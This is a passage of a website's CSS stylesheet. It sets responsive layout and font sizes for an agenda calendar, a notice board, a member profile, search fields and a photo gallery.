	#agenda{padding:20px 15px 0;}
	#agenda .date,
	#agenda .list_wrap{font-size:14px;}
	#agenda .date strong{font-size:26px;}
	#agenda .week span{width:32px; height:32px; line-height:32px; font-size:15px;}
	#agenda .week_wrap .control a{width:25px;}
	#agenda .week_wrap{padding:0 25px 0 20px;}
	#agenda .week_wrap .control .btn_next{right:0;}
	#agenda .t_more{right:40px;}
	
	#board {height:293px;}
	#board li h4 a{font-size:15px;}
	#board li.on h4 a{font-size:16px;}
	#board .title{font-size:14px;}
	#board .title span, #board .first .sbj,
	#board .date{font-size:13px;}
	#board .first .tit{font-size:16px;}
	#board .first .tit .detail{font-size:13px;}
	#board .first a{padding:17px 85px 0 50px; 	background-size:38px;}
	#board li:first-child .first .tit{width:calc(100% - 65px);}

	#member .txt{font-size:14px;}
	#member .pic .img{width:110px; height:110px;}
	#member .txt p{line-height:130%;}
	#member .name{font-size:17px;}
	#member .home{width:40px; height:40px; margin:0 0 0 35px; background-position:9px -236px;}

	.sch select{padding:0 0 0 7px;}
	.sch input[type="text"]{padding:0 0 0 15px;}
	.sch2 .sel{width:23%;}
	.sch2 .sel + .sel{width:32%;}
	.sch2 .intxt{width:38%;}

	#gallery h4 img{height:28px;}
	#gallery .list a{width:167px; margin:0 15px 27px 0;}
	#gallery .list img{height:122px;}
	#gallery .list em{font-size:14px;}
	#gallery .list .date{font-size:13px;}
}
@media all and (max-width:350px) {
	#agenda h4{padding:0;}
	#agenda .date{width:100%; padding:5px 0 5px;}
}